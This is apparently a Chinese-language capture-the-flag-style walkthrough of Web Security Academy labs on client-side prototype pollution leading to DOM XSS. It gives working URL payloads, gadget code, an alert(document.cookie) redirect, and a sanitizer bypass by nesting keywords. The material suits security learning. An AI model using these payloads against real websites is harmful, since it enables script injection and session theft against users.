通过客户端原型污染的 DOM XSS
首先在控制台上面 执行 Object.prototype
接着在url 尝试通过任意字符串注入任意属性
/?__proto__[foo]=bar
再次执行Object.prototype 发现我们的属性已经被注入进去了
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
这段代码的作用很简单 就是将 url中的参数解析 并传给config的 params 而其中的deparam函数是将当前url中的查询参数解析为一个对象 如果存在 transport_url 就先将值放到js脚本中
?__proto__[transport_url]=bar
?__proto__[transport_url]=data:,alert(1);
其中使用了data: 协议 用于嵌入小型的js脚本
<script src="data:,alert(1);"></script>
通过替代原型污染向量的 DOM XSS
这次 不行
?__proto__[foo]=bar
换一种方式执行
/?__proto__.foo=bar
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
//这里并没有对 manager.sequence 进行初始化
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
/?__proto__.sequence=alert(1)
但是这里并没有执行 原因就是这里 加了一个 1
/?__proto__.sequence=alert(1)-
第三方库中的客户端原型污染
https://0af700dd041b5b30c074bd1f006f0076.web-security-academy.net/#__proto__[hitCallback]=alert%281%29
<script>
location="https://0af700dd041b5b30c074bd1f006f0076.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
通过浏览器 API 造成的客户端原型污染
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
这里的 Object.defineProperty 用于给对象定义或者修改属性 我们举一个赋值只读属性的例子 其中的 obj 作为赋值的对象 readOnly 为赋值的名称 value 为属性的值 writeable 为是否可写
const obj = {};
// 定义一个只读属性
Object.defineProperty(obj, 'readOnly', {
value: 'This is a read-only property',
writable: false,
});
console.log(obj.readOnly); // 'This is a read-only property'
obj.readOnly = 'Can I change it?';
console.log(obj.readOnly); // 'This is a read-only property'
那么这里你就能发现了 我们上面的 transport_url 并没有给value 赋值 因此我们可以污染value
同样的先找污染的方法
/?__proto__[foo]=bar
/?__proto__[value]=data:,alert(1)
通过有缺陷的消毒造成客户端原型污染
/?__proto__.foo=bar
/?constructor.prototype.foo=bar
尝试寻找污染方式
发现存在过滤
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__[transport_url]=data:,alert(1)